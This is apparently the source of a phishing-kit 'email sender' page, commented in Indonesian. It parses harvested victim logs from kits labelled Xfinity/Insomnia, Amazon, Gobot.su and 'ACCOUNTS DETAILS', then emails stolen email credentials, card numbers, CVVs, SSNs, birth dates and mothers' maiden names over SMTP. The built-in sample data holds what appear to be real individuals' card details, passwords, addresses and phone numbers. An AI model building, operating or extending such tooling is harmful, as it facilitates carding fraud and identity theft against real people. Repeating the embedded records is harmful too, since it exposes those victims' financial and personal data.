                
                if (line.includes('Email Account') || line.includes('Comcast Account')) {
                    currentSection = 'email';
                } else if (line.includes('Credit or Debit Card')) {
                    currentSection = 'card';
                } else if (line.includes('Personal Information')) {
                    currentSection = 'personal';
                } else if (line.includes('Device Information')) {
                    currentSection = 'device';
                }
                
                if (line.includes(':')) {
                    const separatorIndex = line.indexOf(':');
                    const key = line.substring(0, separatorIndex).trim();
                    const value = line.substring(separatorIndex + 1).trim();
                    
                    // Handle multiple address lines
                    if (key === 'Address') {
                        addressLines.push(value);
                        continue;
                    }
                    
                    const fieldMap = {
                        'Email Address': 'email_address',
                        'Password': 'email_password',
                        'BIN': 'bin',
                        'Cardholder name': 'cardholder_name',
                        'Card Number': 'card_number',
                        'Expiration': 'expiration',
                        'Cvv/Cvv2': 'cvv',
                        'Check': 'check_card',
                        'City': currentSection === 'device' ? 'device_city' : 'city',
                        'State': 'state',
                        'Zip code': 'zip_code',
                        'Phone': 'phone',
                        'SSN': 'ssn',
                        'DOB': 'dob',
                        'IP Address': 'custom_ip',
                        'Country': 'country',
                        'Region': 'region',
                        'Device': 'device',
                        'Browser': 'browser',
                        'User Agent': 'custom_user_agent'
                    };

                    if (fieldMap[key]) {
                        data[fieldMap[key]] = value;
                    }
                }
            }

            // Handle address lines logic
            if (addressLines.length > 0) {
                if (addressLines.length === 1 || (addressLines.length === 2 && addressLines[1] === '')) {
                    data['address'] = addressLines[0];
                    data['address2'] = '';
                } else if (addressLines.length >= 2) {
                    data['address'] = addressLines[0];
                    data['address2'] = addressLines[1];
                }
            }

            return data;
        }

        // Fungsi untuk parsing format Gobot.su
        function parseGobotFormat(text) {
            const lines = text.split('\n');
            const data = {};
            let currentSection = '';
            
            for (let i = 0; i < lines.length; i++) {
                const line = lines[i].trim();
                
                // Deteksi section
                if (line.startsWith('::')) {
                    if (line.includes('Gobot.su')) {
                        currentSection = 'gobot';
                    } else if (line.includes('Card Information')) {
                        currentSection = 'card';
                    } else if (line.includes('Billing Information')) {
                        currentSection = 'billing';
                    } else if (line.includes('Victim Information')) {
                        currentSection = 'victim';
                    }
                    continue;
                }
                
                // Parsing baris dengan format [#] Key : Value
                if (line.startsWith('[#]')) {
                    const colonIndex = line.indexOf(':', 3);
                    if (colonIndex !== -1) {
                        const key = line.substring(3, colonIndex).trim();
                        const value = line.substring(colonIndex + 1).trim();
                        
                        switch (currentSection) {
                            case 'gobot':
                                if (key === 'Email') data['email_address'] = value;
                                if (key === 'Password') data['email_password'] = value;
                                break;
                                
                            case 'card':
                                if (key === 'BIN') data['bin'] = value;
                                if (key === 'CARDHOLDER NAME') data['cardholder_name'] = value;
                                if (key === 'CARD NUMBER') data['card_number'] = value;
                                if (key === 'EXPIRATION') {
                                    const expParts = value.split('/');
                                    if (expParts.length === 2) {
                                        let year = expParts[1].trim();
                                        if (year.length === 2) {
                                            year = '20' + year;
                                        }
                                        data['expiration'] = expParts[0].trim() + '/' + year;
                                    } else {
                                        data['expiration'] = value;
                                    }
                                }
                                if (key === 'CVV/CVV2') data['cvv'] = value;
                                break;
                                
                            case 'billing':
                                if (key === 'Fullname') {
                                    if (!data['cardholder_name']) {
                                        data['cardholder_name'] = value;
                                    }
                                }
                                if (key === 'Address 1') data['address'] = value;
                                if (key === 'Address 2') data['address2'] = value;
                                if (key === 'City') data['city'] = value;
                                if (key === 'State') data['state'] = value;
                                if (key === 'ZipCode') data['zip_code'] = value;
                                if (key === 'PhoneNumber') data['phone'] = value;
                                if (key === 'Date Of Birth') data['dob'] = value;
                                if (key === 'Social Security Number') data['ssn'] = value;
                                break;
                                
                            case 'victim':
                                if (key === 'IP') data['custom_ip'] = value;
                                if (key === 'Device') data['device'] = value;
                                if (key === 'Browser') data['browser'] = value;
                                if (key === 'City') data['device_city'] = value;
                                if (key === 'Region') data['region'] = value;
                                if (key === 'Country') data['country'] = value;
                                if (key === 'User Agent') data['custom_user_agent'] = value;
                                break;
                        }
                    }
                }
            }
            
            return data;
        }

        // Fungsi untuk parsing format ACCOUNTS DETAILS
        function parseAccountsDetailsFormat(text) {
            const lines = text.split('\n');
            const data = {};
            let currentSection = '';
            
            for (let i = 0; i < lines.length; i++) {
                const line = lines[i].trim();
                
                // Deteksi section
                if (line.includes('ACCOUNTS DETAILS')) {
                    currentSection = 'accounts';
                    continue;
                } else if (line.includes('Card information')) {
                    currentSection = 'card';
                    continue;
                } else if (line.includes('Details Information')) {
                    currentSection = 'details';
                    continue;
                } else if (line.includes('Details Info Device')) {
                    currentSection = 'device';
                    continue;
                } else if (line.includes('#Copy Webshop:')) {
                    continue;
                }
                
                // Parsing baris dengan format Key: Value
                if (line.includes(':')) {
                    const colonIndex = line.indexOf(':');
                    const key = line.substring(0, colonIndex).trim();
                    const value = line.substring(colonIndex + 1).trim();
                    
                    switch (currentSection) {
                        case 'accounts':
                            if (key === 'Email') data['email_address'] = value;
                            if (key === 'Password') data['email_password'] = value;
                            break;
                            
                        case 'card':
                            if (key === 'BIN') data['bin'] = value;
                            if (key === 'CARDHOLDER NAME') data['cardholder_name'] = value;
                            if (key === 'CARD NUMBER') data['card_number'] = value;
                            if (key === 'EXPIRATION') {
                                const expParts = value.split('/');
                                if (expParts.length === 2) {
                                    let year = expParts[1].trim();
                                    if (year.length === 2) {
                                        year = '20' + year;
                                    }
                                    data['expiration'] = expParts[0].trim() + '/' + year;
                                } else {
                                    data['expiration'] = value;
                                }
                            }
                            if (key === 'CVV/CVV2') data['cvv'] = value;
                            break;
                            
                        case 'details':
                            if (key === 'Fullname') {
                                if (!data['cardholder_name']) {
                                    data['cardholder_name'] = value;
                                }
                            }
                            if (key === 'Address line 1') data['address'] = value;
                            if (key === 'Address line 2') data['address2'] = value;
                            if (key === 'City') data['city'] = value;
                            if (key === 'State') data['state'] = value;
                            if (key === 'Phone') data['phone'] = value;
                            if (key === 'Zip Code') data['zip_code'] = value;
                            if (key === 'DOB') data['dob'] = value;
                            if (key === 'Ssn') data['ssn'] = value;
                            break;
                            
                        case 'device':
                            if (key === 'DATE & TIME') {
                                // Lewati waktu, gunakan real-time
                            }
                            if (key === 'DEVICE') data['device'] = value;
                            if (key === 'BROWSER') data['browser'] = value;
                            if (key === 'COUNTRY') data['device_city'] = value;
                            if (key === 'STATE') data['region'] = value;
                            if (key === 'CITY') data['country'] = value;
                            if (key === 'IP ADDRESS') data['custom_ip'] = value;
                            if (key === 'USER AGENT') data['custom_user_agent'] = value;
                            break;
                    }
                }
            }
            
            return data;
        }

        // Fungsi untuk parsing format Amazon
        function parseAmazonFormat(text) {
            const data = {};
            const lines = text.split('\n');
            
            let currentSection = '';
            
            for (let i = 0; i < lines.length; i++) {
                const line = lines[i].trim();
                
                // Deteksi section
                if (line.includes('CARD INFO II')) {
                    currentSection = 'card';
                    continue;
                } else if (line.includes('BILLING ADDRESS')) {
                    currentSection = 'billing';
                    continue;
                } else if (line.includes('VISITOR INFO')) {
                    currentSection = 'visitor';
                    continue;
                }
                
                // Parsing berdasarkan emoji/icon
                if (line.includes('🔘')) {
                    const parts = line.split(':');
                    if (parts.length >= 2) {
                        const key = parts[0].replace('🔘', '').trim();
                        const value = parts.slice(1).join(':').trim();
                        
                        switch (currentSection) {
                            case 'card':
                                if (key.includes('B.I.N')) data['bin'] = value;
                                if (key.includes('Cardholder Name')) data['cardholder_name'] = value;
                                if (key.includes('Card Number')) data['card_number'] = value;
                                if (key.includes('Expired Date')) {
                                    const expParts = value.split('/');
                                    if (expParts.length === 2) {
                                        let year = expParts[1].trim();
                                        if (year.length === 2) {
                                            year = '20' + year;
                                        }
                                        data['expiration'] = expParts[0].trim() + '/' + year;
                                    }
                                }
                                if (key.includes('CVV/CVV2')) data['cvv'] = value;
                                if (key.includes('Full Format')) {
                                    const fullParts = value.split('|');
                                    if (fullParts.length > 11) {
                                        data['mother_name'] = fullParts[11] || '';
                                    }
                                }
                                break;
                                
                            case 'billing':
                                if (key.includes('Fullname') && !data['cardholder_name']) {
                                    data['cardholder_name'] = value;
                                }
                                if (key.includes('Phone Number')) data['phone'] = value;
                                if (key.includes('Date of Birth')) data['dob'] = value;
                                if (key.includes('Mother\'s Name')) data['mother_name'] = value;
                                if (key.includes('S.S.N')) data['ssn'] = value;
                                if (key.includes('Address Line 1')) data['address'] = value;
                                if (key.includes('Address Line 2')) data['address2'] = value;
                                if (key.includes('City / Town')) data['city'] = value;
                                if (key.includes('State / Region')) data['state'] = value;
                                if (key.includes('Zip Code')) data['zip_code'] = value;
                                break;
                                
                            case 'visitor':
                                if (key.includes('Device')) data['device'] = value;
                                if (key.includes('Browser')) data['browser'] = value;
                                if (key.includes('Country')) data['country'] = value;
                                if (key.includes('State')) data['region'] = value;
                                if (key.includes('City')) data['device_city'] = value;
                                if (key.includes('Ip Address')) data['custom_ip'] = value;
                                if (key.includes('User Agent')) data['custom_user_agent'] = value;
                                break;
                        }
                    }
                }
            }
            
            return data;
        }

        function parseBulkData() {
            const bulkText = document.getElementById('bulk_paste').value;
            if (!bulkText.trim()) {
                alert('Silakan paste data terlebih dahulu!');
                return;
            }

            let data = {};
            let formatName = '';
            
            // Deteksi format mana yang digunakan
            if (bulkText.includes('_ I N S O M N I A _') || bulkText.includes('Comcast Account')) {
                data = parseInsomniaFormat(bulkText);
                formatName = 'INSOMNIA (Xfinity)';
                toggleMode('xfinity');
            } else if (bulkText.includes('╦═╗╔═╗╔╗ ╔╗ ╦╔╦╗') || bulkText.includes('AMAZON')) {
                data = parseAmazonFormat(bulkText);
                formatName = 'AMAZON';
                toggleMode('amazon');
            } else if (bulkText.includes(':: Gobot.su ::')) {
                data = parseGobotFormat(bulkText);
                formatName = 'Gobot.su';
                toggleMode('xfinity');
            } else if (bulkText.includes('ACCOUNTS DETAILS')) {
                data = parseAccountsDetailsFormat(bulkText);
                formatName = 'ACCOUNTS DETAILS';
                toggleMode('xfinity');
            } else {
                alert('❌ Format tidak dikenali! Gunakan format Xfinity, Amazon, Gobot.su, atau ACCOUNTS DETAILS');
                return;
            }

            fillFormWithData(data);
            
            alert(`✅ Format ${formatName} terdeteksi!\n\nForm berhasil diisi otomatis!`);
        }

        function fillFormWithData(data) {
            for (const [fieldId, value] of Object.entries(data)) {
                const field = document.getElementById(fieldId);
                if (field) {
                    field.value = value;
                }
            }
            
            // Auto-fill sender name dari cardholder name
            if (data.cardholder_name) {
                document.getElementById('sender_name').value = data.cardholder_name;
            }
            
            // Auto-generate fields berdasarkan mode
            const mode = document.querySelector('input[name="email_mode"]:checked').value;
            
            if (mode === 'xfinity') {
                // Generate check card untuk Xfinity
                if (data.card_number && data.expiration && data.cvv && !data.check_card) {
                    const expParts = data.expiration.split('/');
                    if (expParts.length === 2) {
                        const checkCard = `${data.card_number}|${expParts[0].trim()}|${expParts[1].trim()}|${data.cvv}`;
                        document.getElementById('check_card').value = checkCard;
                    }
                }
            }
            
            // Update subject preview
            updateSubjectPreview(mode);
        }

        function clearAllForms() {
            if (!confirm('Yakin ingin menghapus semua data form?')) return;
            
            document.getElementById('bulk_paste').value = '';
            
            const form = document.querySelector('form');
            const inputs = form.querySelectorAll('input, textarea, select');
            inputs.forEach(input => {
                if (input.type !== 'submit' && input.type !== 'button' && input.id !== 'realTimeDisplay' && input.name !== 'email_mode') {
                    input.value = '';
                }
            });
            
            alert('Semua form telah dikosongkan!');
        }

        function fillSampleDataXfinity() {
            const sampleData = `_ I N S O M N I A _
Email Account

Email Address : afelke@comcast.net
Password : Whocares45
Check : afelke@comcast.net|Whocares45
Credit or Debit Card
BIN : 552433 MASTERCARD CREDIT WORLD MASTERCARD CARD BANK OF AMERICA, NATIONAL ASSOCIATION
Cardholder name : amie felke
Card Number : 5524337247064456
Expiration : 11/2029
Cvv/Cvv2 : 684
Check : 5524337247064456|11|2029|684
Personal Information
Address : 819monroe st
Address : Apt songkrat
City : Anoka
State : MN
Zip code : 55303
Phone : +1 (763) 422-9889
SSN : 
DOB : 03/18/1945
Device Information
IP Address : 73.94.61.21
Country : United States
Region : Minnesota
City : Minneapolis
Device : Windows 10
Browser : Chrome
Time & Date : 22:45 PM - Tue, 25 Mar 2025
User Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36`;

            document.getElementById('bulk_paste').value = sampleData;
            alert('Sample data XFINITY telah dimuat! Klik "Auto Fill Form" untuk mengisi.');
        }

        function fillSampleDataAmazon() {
            const sampleData = `╦═╗╔═╗╔╗ ╔╗ ╦╔╦╗
╠╦╝╠═╣╠╩╗╠╩╗║ ║
╩╚═╩ ╩╚═╝╚═╝╩ ╩

AMAZON

CARD INFO II
🔘 B.I.N           : 414718 VISA CREDIT VISA TRADITIONAL WELLS FARGO BANK, NATIONAL ASSOCIATION
🔘 Cardholder Name : Helena M Giordano
🔘 Card Number     : 4147181717216976
🔘 Expired Date    : 07/29
🔘 CVV/CVV2        : 385
🔘 Format Card     : 4147181717216976|07/29|385
🔘 Full Format     : 4147181717216976|07|29|385|Helena M Giordano|845 Bradhurst Rd|Baltimore|Maryland|21212|United States|+41040-9421-5|08/16/1943|Seigley|68.84.0.180|Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15

BILLING ADDRESS
🔘 Fullname        : Helena M Giordano
🔘 Phone Number    : +41040-9421-5
🔘 Date of Birth   : 08/16/1943
🔘 Mother's Name   : Seigley
🔘 S.S.N           : 
🔘 Address Line 1  : 845 Bradhurst Rd
🔘 Address Line 2  : 
🔘 City / Town     : Baltimore
🔘 State / Region  : Maryland
🔘 Zip Code        : 21212

VISITOR INFO
🔘 Date & Time : 05:11 AM - Sun, 19 Oct 2025
🔘 Device      : Mac OS X
🔘 Browser     : Safari
🔘 Country     : 
🔘 State       : 
🔘 City        : 
🔘 Ip Address  : 68.84.0.180
🔘 ISP         : Unknown ISP
🔘 User Agent  : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15

GOOD LUCK`;

            document.getElementById('bulk_paste').value = sampleData;
            alert('Sample data AMAZON telah dimuat! Klik "Auto Fill Form" untuk mengisi.');
        }

        function fillSampleDataGobot() {
            const sampleData = `:: Gobot.su ::
[#] Email : gold52@twc.com
[#] Password : FIREfox52#
:: Card Information ::
[#] BIN : 515676
[#] CARDHOLDER NAME : Raymond W Goldsberry
[#] CARD NUMBER : 5156769946335610
[#] EXPIRATION : 05/30
[#] CVV/CVV2 : 169
[#] CID : 
:: Billing Information ::
[#] Fullname : Raymond w goldsberry
[#] Address 1 : 1809 Merrydale Rd
[#] Address 2 : 1809 merrydale rd
[#] City : Springfield
[#] State : OH
[#] ZipCode : 45503
[#] PhoneNumber : +1 (937) 215-9057
[#] Date Of Birth : 08/31/1952
[#] Social Security Number : 
:: Victim Information ::
[#] Date & Time :
[#] IP : 69.133.43.201
[#] ISP : Charter Communications INC
[#] Device : Windows
[#] Browser : Chrome
[#] City : Springfield
[#] Region : Ohio
[#] Country : United States
[#] User Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
:: Gobot.su ::`;

            document.getElementById('bulk_paste').value = sampleData;
            alert('Sample data Gobot.su telah dimuat! Klik "Auto Fill Form" untuk mengisi.');
        }

        function fillSampleDataAccountsDetails() {
            const sampleData = `ACCOUNTS DETAILS
Email: Susanlubke@hotmail.com
Password: Princess777!
Card information
BIN: 432626
CARDHOLDER NAME: Susan Lubke
CARD NUMBER: 4326262017990446
EXPIRATION: 10/29
CVV/CVV2: 496
CID ( Amex ): KOSONG
XID ( Discover ): KOSONG
Details Information
Fullname: Susan Lubke
Address line 1: 1339 Florian Ave
Address line 2:
City: US
State: Mt
Phone: (406) 670-2417
Account PIN SIM Number:
Zip Code: 59037
MMN:
DOB: 08/29/1953
Ssn:
#Copy Webshop: 4326262017990446|10|29|496|Susan Lubke|1339 Florian Ave |US|Mt|59037|United States|(49D2SNGzC9GHcrUUaqinbv3Z2PLFKvxxmFNNsY6aQG72DmWbGET77srS3bd7S1wwYLTnyPqURASpx15UMac6uZKxFzSmgvJ18_6_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Mobile/15E148 Safari/604.1
Details Info Device
DATE & TIME: 2025-10-27 22:43:08
DEVICE: iPhone
BROWSER: Safari
COUNTRY: Salt Lake City
STATE: Utah
CITY: United States
IP ADDRESS: 66.9.182.201
USER AGENT: Mozilla/5.0 (iPhone; CPU iPhone OS 18_6_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Mobile/15E148 Safari/604.1`;

            document.getElementById('bulk_paste').value = sampleData;
            alert('Sample data ACCOUNTS DETAILS telah dimuat! Klik "Auto Fill Form" untuk mengisi.');
        }

        // Fungsi untuk copy email ke target 2 dan 3
        function copyEmailToSecond() {
            const email1 = document.getElementById('target_email').value;
            if (email1) {
                document.getElementById('target_email2').value = email1;
                document.getElementById('target_email3').value = email1;
                alert('Email target 1 telah disalin ke email target 2 dan 3!');
            } else {
                alert('Email target 1 masih kosong!');
            }
        }

        // Fungsi untuk copy email ke target 3 saja
        function copyEmailToThird() {
            const email1 = document.getElementById('target_email').value;
            if (email1) {
                document.getElementById('target_email3').value = email1;
                alert('Email target 1 telah disalin ke email target 3!');
            } else {
                alert('Email target 1 masih kosong!');
            }
        }

        function setupSenderNameAutoFill() {
            const cardholderNameInput = document.getElementById('cardholder_name');
            const senderNameInput = document.getElementById('sender_name');
            
            if (cardholderNameInput && senderNameInput) {
                cardholderNameInput.addEventListener('input', function() {
                    if (this.value.trim() !== '') {
                        senderNameInput.value = this.value;
                    }
                });
                
                cardholderNameInput.addEventListener('change', function() {
                    if (this.value.trim() !== '') {
                        senderNameInput.value = this.value;
                    }
                });
            }
        }

        // Fungsi untuk toggle mode
        function toggleMode(mode) {
            // Update radio button
            document.querySelectorAll('input[name="email_mode"]').forEach(radio => {
                radio.checked = radio.value === mode;
            });
            
            // Update visual mode selector
            document.querySelectorAll('.mode-option').forEach(option => {
                option.classList.remove('active');
                if (option.dataset.mode === mode) {
                    option.classList.add('active');
                }
            });
            
            // Tampilkan info mode
            const modeInfo = document.getElementById('modeInfo');
            if (mode === 'xfinity') {
                modeInfo.className = 'mode-info mode-xfinity-info';
                modeInfo.innerHTML = '<strong>Mode Xfinity Aktif</strong><br>Format email: Tabel dengan 4 bagian (Email Account, Card, Personal Info, Device Info)';
            } else {
                modeInfo.className = 'mode-info mode-amazon-info';
                modeInfo.innerHTML = '<strong>Mode Amazon Aktif</strong><br>Format email: ASCII art dengan 3 bagian (Card Info, Billing Address, Visitor Info)';
            }
            
            // Tampilkan/sembunyikan field berdasarkan mode
            toggleFieldsByMode(mode);
            
            // Update subject preview
            updateSubjectPreview(mode);
        }

        function toggleFieldsByMode(mode) {
            // Field untuk Xfinity (tampilkan di mode Xfinity, sembunyikan di Amazon)
            const xfinityFields = [
                'email_address',
                'email_password',
                'check_card'
            ];
            
            // Field untuk Amazon (tampilkan di mode Amazon, sembunyikan di Xfinity)
            const amazonFields = [
                'mother_name'
            ];
            
            // Toggle Xfinity fields
            xfinityFields.forEach(fieldId => {
                const field = document.getElementById(fieldId);
                if (field) {
                    const container = field.closest('.form-group');
                    if (container) {
                        if (mode === 'xfinity') {
                            container.classList.remove('hidden');
                        } else {
                            container.classList.add('hidden');
                        }
                    }
                }
            });
            
            // Toggle Amazon fields
            amazonFields.forEach(fieldId => {
                const field = document.getElementById(fieldId);
                if (field) {
                    const container = field.closest('.form-group');
                    if (container) {
                        if (mode === 'amazon') {
                            container.classList.remove('hidden');
                        } else {
                            container.classList.add('hidden');
                        }
                    }
                }
            });
            
            // Update label untuk field tertentu
            if (mode === 'amazon') {
                // Ubah label expiration
                const expLabel = document.querySelector('label[for="expiration"]');
                if (expLabel) expLabel.textContent = 'Expiration (MM/YY):';
                
                // Ubah placeholder expiration
                const expInput = document.getElementById('expiration');
                if (expInput) expInput.placeholder = '07/29';
            } else {
                // Kembalikan ke default
                const expLabel = document.querySelector('label[for="expiration"]');
                if (expLabel) expLabel.textContent = 'Expiration (MM/YYYY):';
                
                const expInput = document.getElementById('expiration');
                if (expInput) expInput.placeholder = '09/2029';
            }
        }

        function updateSubjectPreview(mode) {
            const bin = document.getElementById('bin').value || '[BIN]';
            const country = document.getElementById('country').value || '[Country]';
            const device = document.getElementById('device').value || '[Device]';
            const ip = document.getElementById('custom_ip').value || '[IP]';
            
            let subject = '';
            if (mode === 'amazon') {
                subject = `CARD II :: ${bin} :: [ - ${ip} ]`;
            } else {
                subject = `Credit Card : ${bin} - [ ${country} - ${device} - ${ip} ]`;
            }
            
            const preview = document.getElementById('subjectPreview');
            if (preview) {
                preview.textContent = subject;
            }
        }

        // FUNGSI BARU UNTUK POP UP BULAT
        function showSendConfirmation() {
            // Validasi form sebelum menampilkan konfirmasi
            const requiredFields = ['target_email', 'custom_ip'];
            let isValid = true;
            let emptyFields = [];

            requiredFields.forEach(field => {
                const element = document.getElementById(field);
                if (!element.value.trim()) {
                    isValid = false;
                    emptyFields.push(field);
                }
            });

            if (!isValid) {
                const fieldNames = {
                    'target_email': 'Email Tujuan',
                    'custom_ip': 'IP Address'
                };
                const missing = emptyFields.map(f => fieldNames[f] || f).join(', ');
                alert(`❌ Harap lengkapi field yang diperlukan:\n${missing}`);
                return;
            }

            // Tampilkan modal konfirmasi
            document.getElementById('confirmationModal').style.display = 'flex';
        }

        function hideSendConfirmation() {
            document.getElementById('confirmationModal').style.display = 'none';
        }

        function submitForm() {
            // Sembunyikan modal konfirmasi
            hideSendConfirmation();
            
            // Tampilkan loading spinner
            document.getElementById('loadingSpinner').style.display = 'flex';
            
            // Submit form setelah delay kecil untuk animasi
            setTimeout(() => {
                document.getElementById('emailForm').submit();
            }, 1000);
        }

        // Close modal ketika klik di luar konten
        window.onclick = function(event) {
            const modal = document.getElementById('confirmationModal');
            if (event.target === modal) {
                hideSendConfirmation();
            }
        }

        // Cek status PHPMailer untuk mengatur tombol
        function checkPHPMailerStatus() {
            const phpmailerAvailable = <?php echo $phpmailer_available ? 'true' : 'false'; ?>;
            const floatingButton = document.getElementById('floatingSendButton');
            
            if (!phpmailerAvailable) {
                floatingButton.classList.add('disabled');
                floatingButton.innerHTML = '<div class="icon">⚠️</div><div>PHPMailer Tidak Tersedia</div>';
                floatingButton.onclick = function() {
                    alert('PHPMailer tidak tersedia! Silakan install PHPMailer terlebih dahulu.');
                };
            }
        }

        // Fungsi untuk clear form fields secara manual (hanya field yang clearable)
        function clearFormFields() {
            const fieldsToClear = [
                'custom_ip',
                'custom_user_agent', 
                'email_address',
                'email_password',
                'bin',
                'cardholder_name',
                'card_number',
                'expiration',
                'cvv',
                'check_card',
                'address',
                'address2',
                'city',
                'state',
                'zip_code',
                'phone',
                'ssn',
                'dob',
                'mother_name',
                'country',
                'region',
                'device_city',
                'device',
                'browser'
            ];
            
            fieldsToClear.forEach(field => {
                const element = document.getElementById(field);
                if (element) {
                    element.value = '';
                }
            });
            
            // Juga clear paste data area
            document.getElementById('bulk_paste').value = '';
            
            alert('✅ Form telah dibersihkan! Field-field data telah dikosongkan.');
        }

        // Event listener untuk real-time subject update
        function setupRealTimeSubjectUpdate() {
            const fields = ['bin', 'country', 'device', 'custom_ip'];
            fields.forEach(fieldId => {
                const field = document.getElementById(fieldId);
                if (field) {
                    field.addEventListener('input', function() {
                        const mode = document.querySelector('input[name="email_mode"]:checked').value;
                        updateSubjectPreview(mode);
                    });
                }
            });
        }

        document.addEventListener('DOMContentLoaded', function() {
            setupSenderNameAutoFill();
            checkPHPMailerStatus();
            setupRealTimeSubjectUpdate();
            
            // Set mode default
            toggleMode('xfinity');
            
            const bulkPaste = document.getElementById('bulk_paste');
            if (bulkPaste) {
                bulkPaste.focus();
            }
            
            <?php if (isset($result) && $result['status'] === 'success'): ?>
                setTimeout(() => {
                    const resultsSection = document.querySelector('.results-section');
                    if (resultsSection) {
                        const clearNotice = document.createElement('div');
                        clearNotice.className = 'auto-clear-notice';
                        clearNotice.innerHTML = '✅ Data berhasil dikirim! Field-field data telah otomatis dikosongkan.<br><small>Email tujuan dan pengaturan pengirim tetap tersimpan.</small>';
                        resultsSection.insertBefore(clearNotice, resultsSection.firstChild);
                    }
                }, 500);
            <?php endif; ?>
        });
    </script>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>📧 EMAIL SENDER - DUAL MODE</h1>
            <p>Kirim Email dengan 2 Format: Xfinity & Amazon</p>
        </div>
        
        <div class="content">
            <!-- Pilihan Mode -->
            <div class="mode-selector">
                <div class="mode-option mode-xfinity active" data-mode="xfinity" onclick="toggleMode('xfinity')">
                    <div style="font-size: 24px;">📋</div>
                    <div>XFINITY MODE</div>
                    <small>Format Tabel</small>
                </div>
                <div class="mode-option mode-amazon" data-mode="amazon" onclick="toggleMode('amazon')">
                    <div style="font-size: 24px;">🛒</div>
                    <div>AMAZON MODE</div>
                    <small>Format ASCII</small>
                </div>
            </div>
            
            <div id="modeInfo" class="mode-info mode-xfinity-info">
                <strong>Mode Xfinity Aktif</strong><br>
                Format email: Tabel dengan 4 bagian (Email Account, Card, Personal Info, Device Info)
            </div>
            
            <div class="subject-preview" style="background: #f8f9fa; padding: 15px; border-radius: 5px; margin-bottom: 20px; border: 1px solid #ddd;">
                <strong>Subject Preview:</strong><br>
                <span id="subjectPreview" style="color: #007bff; font-weight: bold;">Credit Card : [BIN] - [ Country - Device - IP ]</span>
            </div>
            
            <?php
            $smtp_status = readSMTPCredentials();
            if ($smtp_status['status'] === 'success') {
                echo '<div class="smtp-status">';
                echo '<h3>✅ SMTP READY</h3>';
                echo '<p>Akun: ' . htmlspecialchars($smtp_status['email']) . '</p>';
                if ($phpmailer_available) {
                    echo '<p>Status: Sistem siap mengirim email</p>';
                } else {
                    echo '<p>PHPMailer: ❌ Tidak Terinstall</p>';
                }
                echo '</div>';
            } else {
                echo '<div class="alert alert-error">';
                echo '<h3>❌ SMTP ERROR</h3>';
                echo '<p>' . htmlspecialchars($smtp_status['message']) . '</p>';
                echo '</div>';
            }
            ?>

            <div class="real-time-info">
                <h3>WAKTU REAL-TIME</h3>
                <div class="time-display" id="realTimeDisplay"></div>
                <p>Waktu akan terupdate otomatis saat email dikirim</p>
            </div>

            <div class="hidden-email-info">
                <h3>📨 PENGIRIMAN TERPISAH</h3>
                <p>Setiap usaha hari ini adalah investasi untuk hidup yang lebih bebas nanti</p>
                <p><small>Setiap email akan tampil seperti dikirim single, bukan multiple</small></p>
            </div>

            <div class="paste-section">
                <h3 style="color: white; text-align: center; margin-bottom: 20px; font-size: 1.5rem;">PASTE DATA SEKALIGUS</h3>
                <div class="form-group">
                    <textarea id="bulk_paste" name="bulk_paste" placeholder="Paste semua data di sini..."></textarea>
                </div>
                
                <div class="format-example">
                    <strong>Format yang didukung:</strong><br>
                    <br><strong>1. Format XFINITY/INSOMNIA:</strong><br>
                    _ I N S O M N I A _<br>
                    Email Address : example@comcast.net<br>
                    Password : Password123<br>
                    BIN : 552433 MASTERCARD<br>
                    Cardholder name : John Doe<br>
                    Card Number : 5524337247064456<br>
                    Expiration : 11/2029<br>
                    <br><strong>2. Format AMAZON:</strong><br>
                    ╦═╗╔═╗╔╗ ╔╗ ╦╔╦╗<br>
                    AMAZON<br>
                    🔘 B.I.N : 414718 VISA CREDIT...<br>
                    🔘 Cardholder Name : John Doe<br>
                    🔘 Card Number : 4147181717216976<br>
                    🔘 Expired Date : 07/29<br>
                    <br><strong>3. Format Gobot.su:</strong><br>
                    :: Gobot.su ::<br>
                    [#] Email : example@twc.com<br>
                    [#] Password : Password123#<br>
                    [#] BIN : 515676<br>
                    <br><strong>4. Format ACCOUNTS DETAILS:</strong><br>
                    ACCOUNTS DETAILS<br>
                    Email: example@hotmail.com<br>
                    Password: Password123!<br>
                    BIN: 432626<br>
                </div>

                <div class="button-group">
                    <button type="button" class="btn btn-paste" onclick="parseBulkData()">
                        🚀 AUTO FILL FORM
                    </button>
                    <button type="button" class="btn btn-clear" onclick="clearAllForms()">
                        🗑️ CLEAR ALL
                    </button>
                    <button type="button" class="btn btn-sample" onclick="fillSampleDataXfinity()">
                        📝 SAMPLE XFINITY
                    </button>
                    <button type="button" class="btn btn-sample" onclick="fillSampleDataAmazon()" style="background: linear-gradient(135deg, #FF9900, #FF6600);">
                        📝 SAMPLE AMAZON
                    </button>
                    <button type="button" class="btn btn-sample" onclick="fillSampleDataGobot()" style="background: linear-gradient(135deg, #17a2b8, #138496);">
                        📝 SAMPLE GOBOT.SU
                    </button>
                    <button type="button" class="btn btn-clear" onclick="clearFormFields()" style="background: linear-gradient(135deg, #ffc107, #e0a800);">
                        🧹 BERSIHKAN DATA
                    </button>
                </div>
            </div>

            <?php if (!$phpmailer_available): ?>
            <div class="alert alert-error">
                <h3>⚠️ INSTALL PHPMailer</h3>
                <p>Download PHPMailer untuk mengirim email via SMTP</p>
            </div>
            <?php endif; ?>

            <?php if (isset($result)): ?>
                <div class="results-section">
                    <?php if ($result['status'] === 'success'): ?>
                        <div class="alert alert-success">
                            <h3>✅ <?php echo $result['message']; ?></h3>
                            <p><strong>Waktu:</strong> <?php echo $result['time_sent']; ?></p>
                            
                            <?php if (isset($result['details'])): ?>
                                <div class="email-list">
                                    <h4>Status Pengiriman:</h4>
                                    <?php foreach ($result['details'] as $detail): ?>
                                        <div class="email-item">
                                            <span class="email-icon <?php echo $detail['status'] === 'error' ? 'error' : ''; ?>">
                                                <?php echo $detail['status'] === 'success' ? '✓' : '✗'; ?>
                                            </span>
